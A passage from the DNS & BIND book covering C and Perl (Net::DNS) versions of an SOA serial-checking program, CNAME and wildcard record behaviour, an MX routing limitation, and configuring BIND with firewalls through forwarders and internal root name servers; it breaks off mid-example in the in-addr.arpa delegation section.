Notice that we use recursive queries when we call gethostbyname, but use nonrecursive queries when we look up the SOA record. gethostbyname may need to query other servers to find the host's address. But we don't want the name server querying another server when we ask it for the SOA record - it's supposed to be authoritative for this zone, after all. Allowing the name server to ask another server for the SOA record would defeat the error check.

The next two routines print out error messages:

/****************************************************************
 * nsError -- Print an error message from h_errno for a failure *
 *     looking up NS records.  res_query() converts the DNS     *
 *     packet return code to a smaller list of errors and       *
 *     places the error value in h_errno.  There is a routine   *
 *     called herror() for printing out strings from h_errno    *
 *     like perror() does for errno.  Unfortunately, the        *
 *     herror() messages assume you are looking up address      *
 *     records for hosts.  In this program, we are looking up   *
 *     NS records for domains, so we need our own list of error *
 *     strings.                                                 *
 ****************************************************************/
void
nsError(error, domain)
int error;
char *domain;
{
    switch(error){
        case HOST_NOT_FOUND:
          (void) fprintf(stderr, "Unknown domain: %s\n", domain);
          break;
        case NO_DATA:
          (void) fprintf(stderr, "No NS records for %s\n", domain);
          break;
        case TRY_AGAIN:
          (void) fprintf(stderr, "No response for NS query\n");
          break;
        default:
          (void) fprintf(stderr, "Unexpected error\n");
          break;
    }
}

/****************************************************************
 * returnCodeError -- print out an error message from a DNS     *
 *     response return code.                                    *
 ****************************************************************/
void
returnCodeError(rcode, nameserver)
ns_rcode rcode;
char *nameserver;
{
    (void) fprintf(stderr, "%s: ", nameserver);
    switch(rcode){
        case ns_r_formerr:
          (void) fprintf(stderr, "FORMERR response\n");
          break;
        case ns_r_servfail:
          (void) fprintf(stderr, "SERVFAIL response\n");
          break;
        case ns_r_nxdomain:
          (void) fprintf(stderr, "NXDOMAIN response\n");
          break;
        case ns_r_notimpl:
          (void) fprintf(stderr, "NOTIMP response\n");
          break;
        case ns_r_refused:
          (void) fprintf(stderr, "REFUSED response\n");
          break;
        default:
          (void) fprintf(stderr, "unexpected return code\n");
          break;
    }
}

To compile this program using the resolver and name server routines in libc:

% cc -o check_soa check_soa.c

Or, if you've newly ported the BIND code as we describe in Appendix B, Compiling and Installing BIND on a Sun, and want to use the latest header files and resolver library:

% cc -o check_soa \
    -I/tmp/src/include \
    -I/tmp/src/include/port/solaris/include \
    check_soa.c \
    /tmp/src/lib/libbind.a

Here is what the output looks like:

% check_soa mit.edu
BITSY.MIT.EDU has serial number 378
W20NS.MIT.EDU has serial number 378
STRAWB.MIT.EDU has serial number 378

If you look back at the shell script output, it looks the same, except that the shell script's output is sorted by the name server's name. What you can't see is that the C program ran much faster.

Previous: 14.1 Shell Script Programming with nslookup | DNS & BIND | Next: 14.3 Perl Programming with Net::DNS
14.1 Shell Script Programming with nslookup | Book Index | 14.3 Perl Programming with Net::DNS


[Chapter 14] 14.3 Perl Programming with Net::DNS

DNS & BIND

DNS & BINDSearch this book
Previous: 14.2 C Programming with the Resolver Library Routines Chapter 14
Programming with the Resolver and Name Server Library Routines 		Next: 15. Miscellaneous

14.3 Perl Programming with Net::DNS

If using the shell to parse nslookup's output seems too awkward and writing a C program seems too complicated, consider writing your program in Perl using the Net::DNS module written by Michael Fuhr. You'll find the package at http://www.perl.com/CPAN-local/modules/by-module/Net/.

Net::DNS treats resolvers, DNS packets, sections of DNS packets, and individual resource records as objects and provides methods for setting or querying each object's attributes. We'll examine each object type first, then give a Perl version of our check_soa program.

14.3.1 Resolver Objects

Before making any queries, you must first create a resolver object:

$res = new Net::DNS::Resolver;

Resolver objects are initialized from your resolv.conf file, but you can change the default settings by making calls to the object's methods. Many of the methods described in the Net::DNS::Resolver manual page correspond to fields and options of the _res structure described earlier in the C programming section. For example, if you want to set the number of times the resolver tries each query before timing out, you can call the $res->retry method:

$res->retry(2);

To make a query, call one of the following methods:

$res->search
$res->query
$res->send

These methods behave like the res_search, res_query, and res_send library functions described in the C programming section, though they take fewer arguments. You must provide a name, and you can optionally provide a DNS record type and class (the default behavior is to query for A records in the IN class). These methods return Net::DNS::Packet objects, which we'll describe shortly. Here are a few examples:

$packet = $res->search("terminator");
$packet = $res->query("movie.edu", "MX");
$packet = $res->send("version.bind", "TXT", "CH");

14.3.2 Packet Objects

Resolver queries return Net::DNS::Packet objects, whose methods you can use to access the header, question, answer, authority, and additional sections of a DNS packet:

$header     = $packet->header;
@question   = $packet->question;
@answer     = $packet->answer;
@authority  = $packet->authority;
@additional = $packet->additional;

14.3.3 Header Objects

DNS packet headers are returned as Net::DNS::Header objects. The methods described in the Net::DNS::Header manual page correspond to the header fields described in RFC 1035 and in the HEADER structure used in C programs. For example, if you want to find out if this is an authoritative answer, you would call the $header->aa method:

if ($header->aa) {
    print "answer is authoritative\n";
} else {
    print "answer is not authoritative\n";
}

14.3.4 Question Objects

The question section of a DNS packet is returned as a list of Net::DNS::Question objects. You can find the name, type, and class of a question object with the following methods:

$question->qname
$question->qtype
$question->qclass

14.3.5 Resource Record Objects

The answer, authority, and additional sections of a DNS packet are returned as lists of Net::DNS::RR objects. You can find the name, type, class, and TTL of an RR object with the following methods:

$rr->name
$rr->type
$rr->class
$rr->ttl

Each record type is a subclass of Net::DNS::RR and has its own type-specific methods. Here's an example that shows how to get the preference and mail exchange out of an MX record:

$preference = $rr->preference;
$exchange   = $rr->exchange;

14.3.6 A Perl Version of check_soa

Now that we've described the objects Net::DNS uses, let's look at how to use them in a complete program. We've rewritten check_soa in Perl:

#!/usr/local/bin/perl -w

use Net::DNS;

#----------------------------------------------------------------------
# Get the domain from the command line.
#----------------------------------------------------------------------

die "Usage:  check_soa domain\n" unless @ARGV == 1;
$domain = $ARGV[0];

#----------------------------------------------------------------------
# Find all the nameservers for the domain.
#----------------------------------------------------------------------

$res = new Net::DNS::Resolver;

$res->defnames(0);
$res->retry(2);

$ns_req = $res->query($domain, "NS");
die "No nameservers found for $domain: ", $res->errorstring, "\n"
    unless defined($ns_req) and ($ns_req->header->ancount > 0);

@nameservers = grep { $_->type eq "NS" } $ns_req->answer;

#----------------------------------------------------------------------
# Check the SOA record on each nameserver.
#----------------------------------------------------------------------

$| = 1;
$res->recurse(0);

foreach $nsrr (@nameservers) {

  #------------------------------------------------------------------
  # Set the resolver to query this nameserver.
  #------------------------------------------------------------------

  $ns = $nsrr->nsdname;
  print "$ns ";

  unless ($res->nameservers($ns)) {
      warn ": can't find address: ", $res->errorstring, "\n";
      next;
  }

  #------------------------------------------------------------------
  # Get the SOA record.
  #------------------------------------------------------------------

  $soa_req = $res->send($domain, "SOA");
  unless (defined($soa_req)) {
      warn ": ", $res->errorstring, "\n";
      next;
  }

  #------------------------------------------------------------------
  # Is this nameserver authoritative for the domain?
  #------------------------------------------------------------------

  unless ($soa_req->header->aa) {
      warn "is not authoritative for $domain\n";
      next;
  }

  #------------------------------------------------------------------
  # We should have received exactly one answer.
  #------------------------------------------------------------------

  unless ($soa_req->header->ancount == 1) {
      warn ": expected 1 answer, got ",
            $soa_req->header->ancount, "\n";
      next;
  }

  #------------------------------------------------------------------
  # Did we receive an SOA record?
  #------------------------------------------------------------------

   unless (($soa_req->answer)[0]->type eq "SOA") {
       warn ": expected SOA, got ",
            ($soa_req->answer)[0]->type, "\n";
       next;
  }

  #------------------------------------------------------------------
  # Print the serial number.
  #------------------------------------------------------------------

  print "has serial number ", ($soa_req->answer)[0]->serial, "\n";
}

Now that you've seen how to write a DNS program using a shell script, a Perl script, and C code, you should be able to write one on your own using the language that best fits your situation.

Previous: 14.2 C Programming with the Resolver Library Routines | DNS & BIND | Next: 15. Miscellaneous
14.2 C Programming with the Resolver Library Routines | Book Index | 15. Miscellaneous


[Chapter 15] Miscellaneous

DNS & BIND

DNS & BINDSearch this book
Previous: 14.3 Perl Programming with Net::DNS Chapter 15 Next: 15.2 Wildcards

15. Miscellaneous

Contents:
Using CNAME Records
Wildcards
A Limitation of MX Records
DNS and Internet Firewalls
Dialup Connections
Network Names and Numbers
Additional Resource Records
DNS Versus X.500
DNS and WINS

"The time has come," the Walrus said, "To talk of many things: Of shoes - and ships - and sealing-wax - Of cabbages - and kings - And why the sea is boiling hot - And whether pigs have wings."

It's time we tied up loose ends. We've already covered the mainstream of DNS and BIND, but there's a handful of interesting niches we haven't explored. Some of these may actually be useful to you, like instructions on how to set up DNS on a network without Internet connectivity; others may just be interesting. We can't in good conscience send you out into the world without completing your education!

15.1 Using CNAME Records

We talked about CNAME resource records in Chapter 4, Setting Up BIND. We didn't tell you all about CNAME records, though; we saved that for this chapter. When you set up your first name servers, you didn't care about the subtle nuances of the magical CNAME record. Maybe you didn't realize there was more than we explained; maybe you didn't care. Some of this trivia is interesting, some is arcane. We'll let you decide which is which.

15.1.1 CNAMEs Attached to Interior Nodes

If you've ever renamed your zone because of a company re-org, you may have considered creating a single CNAME record that pointed from the zone's old domain name to the new domain name. For instance, if the fx.movie.edu zone were renamed to magic.movie.edu, we'd be tempted to create a single CNAME record to map all the old names to the new names:

fx.movie.edu.  IN  CNAME  magic.movie.edu.

With this in place, you'd expect a lookup of empire.fx.movie.edu to result in a lookup of empire.magic.movie.edu. Unfortunately, this doesn't work - you can't have a CNAME record attached to an interior node like fx.movie.edu if it owns other records. Remember that fx.movie.edu has an SOA record and NS records, so attaching a CNAME record to it violates the rule that a domain name be either an alias or a canonical name, not both. So, instead of a single CNAME record to rename a complete zone, you'll have to do it the old-fashioned way - a CNAME record for each individual host within the zone:

empire.fx.movie.edu.       IN  CNAME  empire.magic.movie.edu.
bladerunner.fx.movie.edu.  IN  CNAME  bladerunner.magic.movie.edu.

If the subdomain isn't delegated, and consequently doesn't have an SOA record and NS records attached, you can create an alias for fx.movie.edu, but it will apply only to the domain name fx.movie.edu, and not to domain names in fx.movie.edu.

Hopefully, the tool you use to manage your DNS database files will handle creating CNAME records for you. (h2n, which was introduced in Chapter 4, does.)

15.1.2 CNAMEs Pointing to CNAMEs

You may have wondered whether it was possible to have an alias (CNAME record) pointing to another alias. This might be useful in situations where an alias points from a domain name outside of your zone to a domain name inside your zone. You may not have any control over the alias outside of your zone. What if you want to change the domain name it points to? Can you simply add another CNAME record?

The answer is yes: you can chain together CNAME records. The BIND implementation supports it, and the RFCs don't expressly forbid it. But, while you can chain CNAME records, is it a wise thing to do? The RFCs recommend against it, because of the possibility of creating a CNAME loop, and because it slows resolution. You may be able to do it in a pinch, but you probably won't find much sympathy on the Net if something breaks. And all bets are off if a new (non-BIND-based) name server implementation emerges.[1]

[1] And one has (the Micrsoft DNS Server, shipped with Windows NT). It permits CNAMEs that point to CNAMEs, too, though.

15.1.3 CNAMEs in the Resource Record Data

For any other record besides a CNAME record, you must have the canonical name in the resource record data. Applications and name servers won't operate correctly otherwise. As we mentioned back in Chapter 5, DNS and Electronic Mail, for example, sendmail only recognizes the canonical name of the local host on the right side of an MX record. If sendmail doesn't recognize the local host name, it won't strip the right MX records out when paring down the MX list, and may deliver mail to itself or less-preferred hosts, causing mail to loop.

15.1.4 Multiple CNAME Records

One pathological configuration that honestly hadn't occurred to us - and many pathological configurations have occurred to us - before we saw an option to allow it is multiple CNAME records attached to the same name. Some administrators use this with round robin to rotate between RRsets. For example, the records:

fullmonty  IN  CNAME  fullmonty1
fullmonty  IN  CNAME  fullmonty2
fullmonty  IN  CNAME  fullmonty3

could be used to return all of the addresses attached to fullmonty1, then all the addresses of fullmonty2, then all the addresses of fullmonty3, on a name server that didn't recognize this as the abomination it is. (It violates the "CNAME and other data" rule, for one.)

BIND 4, for one, doesn't recognize this as a misconfiguration. BIND 8 does, but will let you permit it if you want to with:

options {
                multiple-cnames yes;
};

The default, naturally, is to disallow it.

15.1.5 Looking Up CNAMEs

At times you may want to look up a CNAME record itself, not data for the canonical name. With nslookup, this is easy to do. You can either set the query type to cname, or you can set query type to any and then look up the name:

% nslookup
Default Server:  wormhole
Address:  0.0.0.0

> set query=cname
> bigt
Server:  wormhole
Address:  0.0.0.0

bigt.movie.edu  canonical name = terminator.movie.edu
> set query=any
> bigt
Server:  wormhole
Address:  0.0.0.0

bigt.movie.edu  canonical name = terminator.movie.edu

15.1.6 Finding Out a Host's Aliases

One thing you can't easily do with DNS is find out a host's aliases. With the host table, it's easy to find both the canonical name of a host and any aliases: no matter which you look up; they're all there, together, on the same line:

% grep terminator /etc/hosts
192.249.249.3  terminator.movie.edu terminator bigt

With DNS, however, if you look up the canonical name, all you get is the canonical name. There's no easy way for the name server or the application to know whether aliases exist for that canonical name:

% nslookup
Default Server:  wormhole
Address:  0.0.0.0

> terminator
Server:  wormhole
Address:  0.0.0.0

Name:    terminator.movie.edu
Address:  192.249.249.3

If you use nslookup to look up an alias, you'll see that alias and the canonical name. nslookup reports both the alias and the canonical name in the packet. But you won't see any other aliases that might point to that canonical name:

% nslookup
Default Server:  wormhole
Address:  0.0.0.0

> bigt
Server:  wormhole
Address:  0.0.0.0

Name:    terminator.movie.edu
Address:  192.249.249.3
Aliases:  bigt.movie.edu

About the only way to find out all the CNAMEs for a host is to transfer the whole zone and pick out the CNAME records where that host is the canonical name:

% nslookup
Default Server:  wormhole
Address:  0.0.0.0

> ls -t cname movie.edu
 [wormhole.movie.edu]
       1D IN SOA    terminator.movie.edu. al.robocop.movie.edu. (
              25              ; serial
              3H              ; refresh
              1H              ; retry
              1W              ; expire
              1D )            ; minimum

        1D IN NS    terminator.movie.edu.
        1D IN NS    wormhole.movie.edu.
        1D IN NS    zardoz.movie.edu.
        1D IN A     1.1.1.1
localhost.movie.edu.      1D IN A      127.0.0.1
awakenings.movie.edu.     1W IN A      192.253.253.254
classics.movie.edu.       1D IN NS     gwtw.classics.movie.edu.
gwtw.classics.movie.edu.  1D IN A  1.1.1.1
dh.movie.edu.             1D IN CNAME  diehard.movie.edu.
wormhole.movie.edu.       1D IN A      192.249.249.1
             1D IN A           192.253.253.1
web.movie.edu.            1D IN CNAME     www.movie.edu.
misery.movie.edu.         1D IN A      192.253.253.2
robocop.movie.edu.        1D IN A      192.249.249.2
carrie.movie.edu.         1D IN A      192.253.253.4
diehard.movie.edu.        1D IN A      192.249.249.4
fx.movie.edu.             1D IN NS     bladerunner.fx.movie.edu.
bladerunner.fx.movie.edu.  1D IN A  192.253.254.2
fx.movie.edu.             1D IN NS     outland.fx.movie.edu.
outland.fx.movie.edu.     1D IN A      192.253.254.3
rainman.movie.edu.        1W IN A      192.249.249.254
wh.movie.edu.             1D IN CNAME    wormhole.movie.edu.
wh249.movie.edu.          1D IN A      192.249.249.1
wh253.movie.edu.          1D IN A      192.253.253.1
bigt.movie.edu.           1D IN CNAME    terminator.movie.edu.
www.movie.edu.            1D IN CNAME    movie.edu.
zardoz.movie.edu.         1D IN A      192.249.249.9
             1D IN A           192.253.253.9
terminator.movie.edu.     1D IN A      192.249.249.3
             1H IN MX          10 terminator.movie.edu.
ftp.movie.edu.            1D IN A      192.249.249.1
             1D IN A              198.105.232.1
shining.movie.edu.        1D IN A      192.253.253.3
pma.movie.edu.            30S IN A     1.2.3.4
postmanrings2x.movie.edu.  1D IN A  1.1.1.1
             1D IN MX             10 postmanrings2x.movie.edu.
movie.edu.   1D IN SOA          terminator.movie.edu. al.robocop.movie.edu. (
                   25              ; serial
                   3H              ; refresh
                   1H              ; retry
                   1W              ; expire
                   1D )                    ; minimum

Even this method will only show you the aliases within that zone - there could be aliases in a different zone, pointing to canonical names in this zone.

Previous: 14.3 Perl Programming with Net::DNS | DNS & BIND | Next: 15.2 Wildcards
14.3 Perl Programming with Net::DNS | Book Index | 15.2 Wildcards


[Chapter 15] 15.2 Wildcards

DNS & BIND

DNS & BINDSearch this book
Previous: 15.1 Using CNAME Records Chapter 15
Miscellaneous 		Next: 15.3 A Limitation of MX Records

15.2 Wildcards

Something else we haven't covered yet is DNS wildcards. There are times when you want a single resource record to cover any possible name, rather than creating zillions of resource records that are all the same except for the domain name to which they apply. DNS reserves a special character, the asterisk ("*"), to be used in a DNS database file as a wildcard name. It will match any number of labels in a name, as long as there isn't an exact match with a name already in the DNS database.

Most often, you'd use wildcards to forward mail to non-Internet-connected networks. Suppose your site is not connected to the Internet, but you have a host that will relay mail between the Internet and your network. You could add a wildcard MX record to the movie.edu zone for Internet consumption that points all your mail to the relay. Here is an example:

*.movie.edu.  IN  MX  10 movie-relay.nea.gov.

Since the wildcard matches one or more labels, this resource record would apply to names like terminator.movie.edu, empire.fx.movie.edu, or casablanca.bogart.classics.movie.edu. The danger with wildcards is that they clash with search lists. This wildcard also matches cujo.movie.edu.movie.edu, making wildcards dangerous to use in your internal zone data. Remember that some versions of sendmail apply the search list when looking up MX records:

% nslookup
Default Server:  wormhole
Address:  0.0.0.0

> set type=mx                                    - Look up MX records
> cujo.movie.edu                                 - for cujo
Server:  wormhole
Address:  0.0.0.0

cujo.movie.edu.movie.edu     - This isn't a real host's name!
        preference = 10, mail exchanger = movie-relay.nea.gov

What are the limitations of wildcards? Wildcards do not match names for which there is already data. Suppose you did use wildcards within your zone data, as in these partial contents of db.movie:

*     IN  MX  10 mail-hub.movie.edu.
et    IN  MX  10 et.movie.edu.
jaws  IN  A   192.253.253.113
fx    IN  NS  bladerunner.fx.movie.edu.
fx    IN  NS  outland.fx.movie.edu.

Mail to terminator.movie.edu will be sent to mail-hub, but mail to et.movie.edu will be sent directly to et. An MX lookup of jaws.movie.edu would result in a response that said there was no MX data for that name. The wildcard doesn't apply because an A record exists. The wildcard also doesn't apply to domain names in fx.movie.edu, because they don't apply across delegation.

Can you use wildcards safely within your zone data? Yes. We'll cover that case a little later in this chapter.

Previous: 15.1 Using CNAME Records | DNS & BIND | Next: 15.3 A Limitation of MX Records
15.1 Using CNAME Records | Book Index | 15.3 A Limitation of MX Records


[Chapter 15] 15.3 A Limitation of MX Records

DNS & BIND

DNS & BINDSearch this book
Previous: 15.2 Wildcards Chapter 15
Miscellaneous 		Next: 15.4 DNS and Internet Firewalls

15.3 A Limitation of MX Records

While we are on the topic of MX records, let's talk about how they can result in mail taking a longer path than necessary. The MX records are a list of data returned when a name is looked up. The list is not ordered according to which exchanger is closest to the sender. Here is an example of this problem. Your non-Internet-connected network has two hosts capable of relaying Internet mail to your network. One host is in the U.S., and one host is in France. Your network is in Greece. Most of your mail comes from the U.S., so you have someone maintain your zone and install two wildcard MX records - the highest preference to the U.S. relay, and a lower preference to the France relay. Since the U.S. relay is at a higher preference, all mail will go through that relay (as long as it is reachable). If someone in France sends you a letter, it will travel across the Atlantic to the U.S. and back, because there is nothing in the MX list to indicate that the French relay is closer to that sender.

Previous: 15.2 Wildcards | DNS & BIND | Next: 15.4 DNS and Internet Firewalls
15.2 Wildcards | Book Index | 15.4 DNS and Internet Firewalls


[Chapter 15] 15.4 DNS and Internet Firewalls

DNS & BIND

DNS & BINDSearch this book
Previous: 15.3 A Limitation of MX Records Chapter 15
Miscellaneous 		Next: 15.5 Dialup Connections

15.4 DNS and Internet Firewalls

The Domain Name System wasn't designed to work with Internet firewalls. It's a testimony to the flexibility of DNS and of the BIND implementation that you can configure DNS to work with, or even through, an Internet firewall.

That said, configuring BIND to work in a firewalled environment, although not difficult, takes a good, complete understanding of DNS and a few of BIND's more obscure features. Describing it also requires a large portion of this chapter, so here's a roadmap.

We start by describing the two major families of Internet firewall software - packet filters and application gateways. The capabilities of each family have a bearing on how you'll need to configure BIND to work through the firewall. The next section details the two most common DNS architectures used with firewalls, forwarders and internal roots, and describes the advantages and disadvantages of each. Then we introduce a new feature, conditional forwarding, which combines the best of internal roots and forwarders. Finally, we discuss shadow namespaces and the configuration of the bastion host, the host at the core of your firewall system.

15.4.1 Types of Firewall Software

Before you start configuring BIND to work with your firewall, it's important you understand what your firewall is capable of. Your firewall's capabilities may influence your choice of DNS architecture and will determine how you implement it. If you don't know the answers to the questions in this section, track down someone in your organization who does know and ask. Better yet, work with your firewall's administrator when designing your architecture to ensure it will coexist with the firewall.

Note that this is far from a complete explanation of Internet firewalls. These few paragraphs only describe the two most common types of Internet firewalls, and only in enough detail to show how the differences in their capabilities impact name servers. For a comprehensive treatment of Internet firewalls, see Brent Chapman and Elizabeth Zwicky's Building Internet Firewalls (O'Reilly & Associates).

15.4.1.1 Packet filters

The first type of firewall we'll cover is the packet filtering firewall. Packet filtering firewalls operate largely at the transport and network levels of the TCP/IP stack (layers three and four of the OSI reference model, if you dig that). They decide whether to route a packet based upon packet-level criteria like the transport protocol (i.e., whether it's TCP or UDP), the source and destination IP address, and the destination port (see Figure 15.1).

Figure 15.1: Packet filters operate at the network and transport layers of the stack

What's most important to us about packet filtering firewalls is that you can typically configure them to allow DNS traffic selectively between hosts on the Internet and your internal hosts. That is, you can let an arbitrary set of internal hosts communicate with Internet name servers. Some packet filtering firewalls can even permit your name servers to query name servers on the Internet, but not vice versa. All router-based Internet firewalls are packet filtering firewalls. Checkpoint's FireWall-1, Cisco's PIX, and Sun's SunScreen are popular commercial packet filtering firewalls.

A Gotcha with BIND 8 and Packet Filtering Firewalls

BIND 4 name servers always send queries from port 53, the well-known port for DNS servers, to port 53. Resolvers, on the other hand, usually send queries from high-numbered ports (above 1023) to port 53. Though name servers clearly have to send their queries to the DNS port on a remote host, there's no reason they have to send the queries from the DNS port. And, wouldn't you know it, BIND 8 name servers don't send queries from port 53 by default. Instead, they send queries from high-numbered ports, same as resolvers do.

This can cause problems with packet filtering firewalls that have been configured to allow server-to-server traffic but not resolver-to-server traffic, because they typically expect server-to-server traffic to originate from port 53 and terminate at port 53.

There are two solutions to this problem:

  1. Reconfigure the firewall to allow name server queries from ports other than 53 (assuming this doesn't compromise the security of the firewall by allowing packets from Internet hosts to high-numbered ports on internal name servers).

  2. Configure BIND to revert to its old behavior with the query-source substatement.

query-source takes as arguments an address specification and an optional port number. For example:

     options { query-source address * port 53;};

tells BIND to use port 53 as the source port for queries sent from all interfaces. You can use a non-wildcard address specification to limit the addresses that BIND will send queries from. For example, on wormhole:

     options { query-source 192.249.294.1 port *;};

would tell BIND to send all queries from the 192.249.249.1 address (i.e., not from 192.253.253.1), and to use dynamic, high-numbered ports.

15.4.1.2 Application gateways

Application gateways operate at the application protocol level, several layers higher in the OSI reference model than most packet filters (Figure 15.2). In a sense, they "understand" the application protocol in the same way a server for that particular application would. An FTP application gateway, for example, can make the decision to allow or deny a particular FTP operation, like a RETR (a get) or a STOR (a put).

Figure 15.2: Application gateways operate at the application layer of the stack

The bad news, and what's important for our purposes, is that most application gateway firewalls handle only TCP-based application protocols. DNS, of course, is largely UDP-based, and we know of no application gateways for DNS. This implies that if you run an application gateway firewall, your internal hosts will likely not be able to communicate directly with name servers on the Internet.

The popular Firewall Toolkit from Trusted Information Systems (TIS) is a suite of application gateways for common Internet protocols like Telnet, FTP, and HTTP. TIS's Gauntlet product is also based on application gateways, as is Raptor's Eagle Firewall.

Note that these two categories of firewall are really just generalizations. The state of the art in firewalls changes very quickly, and by the time you read this, you may have a firewall that includes an application gateway for DNS. Which family your firewall falls into is only important because it suggests what that firewall is capable of; what's more important is whether your particular firewall will let you permit DNS traffic between arbitrary internal hosts and the Internet.

15.4.2 A Bad Example

The simplest configuration is to allow DNS traffic to pass freely through your firewall (assuming you can configure your firewall to do that). That way, any internal name server can query any name server on the Internet, and any Internet name server can query any of your internal name servers. You don't need any special configuration.

Unfortunately, this is a really bad idea, for a number of reasons:

Version control

The developers of BIND are constantly finding and fixing security-related bugs in the BIND code. Consequently, it's important to run the latest released version of BIND, especially on name servers that are directly exposed to the Internet. If one or just a few of your name servers communicate directly with name servers on the Internet, upgrading to a new version is easy. If any of the name servers on your network can, it's another story.

Possible vector for attack

Even if you're not running a name server on a particular host, a hacker might be able to take advantage of the fact that you allow DNS traffic through your firewall to attack that host. For example, a co-conspirator working on the inside could set up a Telnet daemon listening on the host's DNS port, allowing the hacker to telnet right in.

For the rest of this chapter, we'll try to set a good example.

15.4.3 Internet Forwarders

Given the dangers of allowing bidirectional DNS traffic through the firewall unrestricted, most organizations elect to limit the internal hosts that can "talk DNS" to the Internet. In an application gateway firewall, or any firewall without the ability to pass DNS traffic, the only host that can communicate with Internet name servers is the bastion host (see Figure 15.3).

Figure 15.3: Diagram of a small network, showing the bastion host

In a packet-filtering firewall, the firewall's administrator can configure the firewall to let any set of internal name servers communicate with Internet name servers. Often, this is a small set of hosts that run name servers under the direct control of the domain administrator (see Figure 15.4).

Figure 15.4: Diagram of a small network, showing select internal name servers

Servers that can query name servers on the Internet directly don't require any special configuration. Their hints files contain the Internet's root name servers, which enables them to resolve Internet domain names. Internal name servers that can't query name servers on the Internet, however, need to know to forward queries they can't resolve to one of the name servers that can. This is done with the forwarders directive or substatement, introduced in Chapter 10, Advanced Features and Security.

Figure 15.5 illustrates a common forwarding setup, with internal name servers forwarding queries to a name server running on a bastion host.

Figure 15.5: Using forwarders

At Movie U., we put in a firewall to protect ourselves from the Big Bad Internet several years ago. Ours is a packet-filtering firewall, and we negotiated with our firewall administrator to allow DNS traffic between Internet name servers and two of our name servers, terminator.movie.edu and wormhole.movie.edu. Here's how we configured the other internal name servers at the university. For our BIND 8 name servers:

options {
                forwarders { 192.249.249.1; 192.249.249.3; };
                forward only;
};

and for our BIND 4 name servers:

forwarders 192.249.249.3 192.249.249.1
options forward-only

(We vary the order in which the forwarders appear to help spread the load between them.)

When an internal name server receives a query for a name it can't resolve locally, like an Internet domain name, it forwards that query to one of our forwarders, which can resolve the name using name servers on the Internet. Simple!

15.4.3.1 The trouble with forwarding

Unfortunately, it's a little too simple. Forwarding starts to get in the way once you implement subdomains or build an extensive network. To explain what we mean, take a look at part of the configuration file on zardoz.movie.edu:

options {
                directory "/usr/local/named";
                forwarders { 192.249.249.1; 192.253.253.3; };
};

zone "movie.edu" {
                type slave;
                file "db.movie";
                masters { 192.249.249.3; };
};

zardoz.movie.edu is a slave for movie.edu and uses our two forwarders. What happens when zardoz receives a query for a name in fx.movie.edu? zardoz, as an authoritative movie.edu name server, has the NS records that delegate fx.movie.edu to its authoritative name servers. But it's also been configured to forward queries it can't resolve locally to terminator and wormhole. Which will it do?

It turns out that zardoz will ignore the delegation information and forward the query to terminator. That'll work, since terminator will receive the recursive query and ask an fx.movie.edu name server on zardoz's behalf. But it's not particularly efficient, since zardoz could easily have sent the query directly.

Now imagine the scale of the network is much larger: a corporate network that spans many continents, with tens of thousands of hosts and hundreds or thousands of name servers. All of the internal name servers that don't have direct Internet connectivity - the vast majority of them - use a small set of forwarders. What are the problems with this picture?

Single point of failure

If the forwarders fail, your name servers lose the ability to resolve both Internet domain names and internal domain names that they don't have cached or in authoritative data.

Concentration of load

The forwarders will have an enormous query load placed on them. This is both because of the large number of internal name servers that use them and because the queries are recursive and require a good deal of work to answer.

Inefficient resolution

Imagine two internal name servers, authoritative for west.acmebw.com and east.acmebw.com, respectively, both on the same network segment in Boulder, Colorado. Both are configured to use the company's forwarder in Bethesda, Maryland. For the west.acmebw.com name server to resolve a name in east.acmebw.com, it sends a query to the forwarder in Bethesda. The forwarder in Bethesda then sends a query back to Boulder to the east.acmebw.com name server, the original querier's neighbor. The east.acmebw.com name server replies by sending a response back to Bethesda, which the forwarder sends back to Boulder.

In a traditional configuration with root name servers, the west.acmebw.com name server would quickly have learned that an east.acmebw.com name server was next door, and would favor it (because of its low round-trip time). Using forwarders "short-circuits" the normally efficient resolution process.

The upshot is that forwarding is fine for small networks and simple namespaces, but probably inadequate for large networks and complex namespaces. We found this out the hard way at Movie U. as our network grew, and were forced to implement internal roots.

15.4.4 Internal Roots

If you want to avoid the scalability problems of forwarding, you can set up your own root name servers. These internal roots will serve only the name servers in your organization. They'll only know about the portions of the namespace relevant to your organization.

What good are they? By using an architecture based on root name servers, you gain the scalability of the Internet's namespace (which should be good enough for most companies), plus redundancy, distributed load, and efficient resolution. You can have as many internal roots as the Internet has roots - thirteen or so - whereas having that many forwarders may be an undue security exposure and a configuration burden. Most of all, the internal roots don't get used frivolously. Name servers only need to consult an internal root when they time out the NS records for your top-level zones. Using forwarders, name servers may have to query a forwarder once per resolution.

The moral of our story is that if you have, or intend to have, a large name space and lots of internal name servers, internal root name servers will scale better than any other solution.

15.4.4.1 Where to put internal root name servers

Since name servers "lock on" to the closest root name server by favoring the one with the lowest roundtrip time, it pays to pepper your network with internal root name servers. If your organization's network spans the U.S., Europe, and the Pacific Rim, consider locating at least one internal root name server on each continent. If you have three major sites in Europe, give each of them an internal root.

15.4.4.2 Forward mapping delegation

Here's how an internal root name server is configured. An internal root delegates directly to any domains you administer. For example, on the movie.edu network, the root zone's data file would contain:

movie.edu.  86400  IN  NS  terminator.movie.edu.
            86400  IN  NS  wormhole.movie.edu.
            86400  IN  NS  zardoz.movie.edu.
terminator.movie.edu.  86400  IN  A  192.249.249.3
wormhole.movie.edu.    86400  IN  A  192.249.249.1
                       86400  IN  A  192.253.253.1
zardoz.movie.edu.      86400  IN  A  192.249.249.9
                       86400  IN  A  192.253.253.9

On the Internet, this information would appear in the edu name servers' databases. On the movie.edu network, of course, there aren't any edu name servers, so you delegate directly to movie.edu from the root.

Notice that this doesn't contain delegation to fx.movie.edu or any other subdomain of movie.edu. The movie.edu name servers know which name servers are authoritative for all movie.edu subdomains, and all queries for information in those subdomains will pass through the movie.edu name servers, so there's no need to delegate them here.

15.4.4.3 in-addr.arpa delegation

We also need to delegate from the internal roots to the in-addr.arpa domains that correspond to the networks movie.edu uses:

249.249.192.in-addr.arpa.  86400  IN  NS  terminator.movie.edu.
                           86400  IN  NS  wormhole.movie.edu.
                           86400  IN  NS  zardoz.movie.edu.
253.253.192.in-addr.arpa.  86400  IN  NS  terminator.movie.edu.
                           86400  IN  NS  wormhole.movie.edu.
                           86400  IN  NS  zardoz.movie.edu.
254.253.192.in-addr.arpa.  86400  IN  NS  bladerunner.fx.movie.edu.
                           86400  IN  NS  outland.fx.movie.edu.
                           86400  IN  NS  alien.fx.movie.edu.
20.254.192.in-addr.arpa.   86400  IN  NS  bladerunner.fx.movie.edu.
                           86400  IN  NS  outland.fx.movie.edu.
